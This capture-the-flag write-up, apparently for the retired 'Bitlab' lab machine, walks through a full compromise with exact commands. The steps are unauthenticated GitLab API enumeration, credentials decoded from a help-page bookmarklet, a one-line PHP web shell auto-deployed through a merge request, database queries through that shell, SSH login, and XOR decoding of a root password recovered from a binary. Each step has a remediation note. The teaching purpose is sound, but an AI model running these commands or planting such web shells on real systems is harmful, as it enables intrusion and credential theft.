Bitlab
Summary
I fingerprinted an internet-exposed GitLab Community Edition instance and discovered that anonymous REST API access revealed all hosted project names. A developer-convenience JavaScript bookmarklet embedded in the public GitLab help page contained hardcoded login credentials in encoded form; decoding it yielded valid GitLab credentials.
Using those credentials, I pushed a PHP web shell to an auto-deployed profile repository via a branch-and-merge-request workflow, instantly serving arbitrary code from the live web root with no additional approval. A GitLab snippet stored the application's Postgres connection string in plaintext; querying the local database through the web shell returned a system user's SSH password stored in cleartext.
SSH as that user captured the first flag. A Windows remote-access binary found in the user's home directory contained the root SSH password hidden inside an XOR-obfuscated credential blob; reversing the decode routine in a static-analysis tool recovered the root password, and a direct SSH login as root completed the full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <branch>, <csrf_token>, <hex-encoded-blob-from-rabin2-output>, <iid>, <paste-bookmarklet-href-here>, <ts> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Service version scan; identifies OpenSSH 7.6p1 and nginx.
$ nmap -Pn -sV -p 22,80 $TARGETFollow redirect to /users/sign_in; page title and generator meta tag confirm GitLab CE.
$ curl -si http://$TARGET/Unauthenticated API call; returns all visible projects including root/profile (id=2).
$ curl -s http://$TARGET/api/v4/projects | python3 -m json.toolFixRestrict GitLab project visibility and require authentication for API accessMedium
Exact commands 2
Retrieve the help page; inspect HTML for bookmarklet <a> elements with javascript: hrefs.
$ curl -s http://$TARGET/help/bookmarks.htmlURL-decode the bookmarklet href to reveal the embedded username and password in the JavaScript literal.
$ python3 -c "import urllib.parse; print(urllib.parse.unquote('<paste-bookmarklet-href-here>'))"FixRemove hardcoded credentials from the GitLab help-page bookmarkletCritical
Exact commands 5
Clone the auto-deployed repository with recovered credentials.
$ git clone http://$USERNAME:$PASSWORD6@$TARGET/root/profile.git /tmp/profileCreate a timestamped branch to avoid collisions; push the PHP web shell.
$ cd /tmp/profile && BRANCH=shell$(date +%s) && git checkout -b $BRANCH && echo '<?php system($_GET["cmd"]); ?>' > ${BRANCH}.php && git add . && git commit -m 'update' && git push origin $BRANCHOpen MR targeting master; replace <csrf_token> with the value scraped from the /root/profile/merge_requests/new page.
$ # Scrape CSRF token from an authenticated GitLab page, then open the MR:
curl -sS -b cookies.txt -c cookies.txt -X POST http://$TARGET/root/profile/merge_requests \
-d 'merge_request[source_branch]=<branch>&merge_request[target_branch]=master&authenticity_token=<csrf_token>'Merge the MR via REST API; triggers auto-deployment of the web shell to /var/www/html/profile/.
$ curl -sS -b cookies.txt -X PUT http://$TARGET/api/v4/projects/2/merge_requests/<iid>/mergeVerify RCE — should return uid=33(www-data).
$ curl -sS --get --data-urlencode 'cmd=id' http://$TARGET/profile/shell<ts>.phpFixRequire code review approval before auto-deploying GitLab repository changes to productionCritical
Exact commands 1
Read the authenticated GitLab snippet; the response contains the Postgres connection string in plaintext.
$ curl -sS -b cookies.txt http://$TARGET/snippets/1/rawFixRemove database connection strings from GitLab snippets and store secrets in a vaultHigh
Exact commands 1
Execute a PHP DB query through the web shell; outputs the <withheld> table including clave's plaintext password.
$ curl -sS --get --data-urlencode 'cmd=php -r '\''$db=pg_connect("host=localhost dbname='"$PASSWORD7"' user='"$PASSWORD7"' password='"$PASSWORD7"'"); $r=pg_query($db,"SELECT * FROM '"$PASSWORD7"'"); while($row=pg_fetch_assoc($r)) print_r($row);'\''' http://$TARGET/profile/shell<ts>.phpFixHash user credentials stored in the application database — never store recoverable passwordsHigh
Exact commands 1
Use the raw, undecoded database string as the SSH password. Outputs <user.txt>.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password clave@$TARGET 'id; cat /home/clave/user.txt'
uid=1000(clave) gid=1000(clave) groups=1000(clave)Exact commands 4
Exfiltrate the binary to my machine for offline analysis.
$ sshpass -p "$PASSWORD2" scp -o StrictHostKeyChecking=no clave@$TARGET:/home/clave/RemoteConnection.exe /tmp/RemoteConnection.exeDump all strings including wide/unicode; locate the obfuscated credential blob starting with <withheld>.
$ rabin2 -zz /tmp/RemoteConnection.exe | grep -iE 'pass|cred|user'Disassemble the two decode functions; identify the XOR key and byte-manipulation logic used on the blob.
$ r2 -A -c 'pdf @ fcn.00401520; pdf @ fcn.004018f0' /tmp/RemoteConnection.exe 2>/dev/null | head -120Replay the XOR decode; substitute the actual blob bytes and key constant observed in the disassembly.
$ python3 - <<'EOF'
blob = bytes.fromhex('<hex-encoded-blob-from-rabin2-output>')
key = 0x50 # substitute actual XOR key from r2 disassembly
decoded = bytes([b ^ key for b in blob])
print(decoded.decode('utf-8', errors='replace'))
EOFFixRemove embedded system credentials from client-accessible binaries and disable direct root SSH loginCritical
Exact commands 1
Direct root login using the credential recovered from the binary. Outputs <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password root@$TARGET 'id; hostname; cat /root/root.txt'
uid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.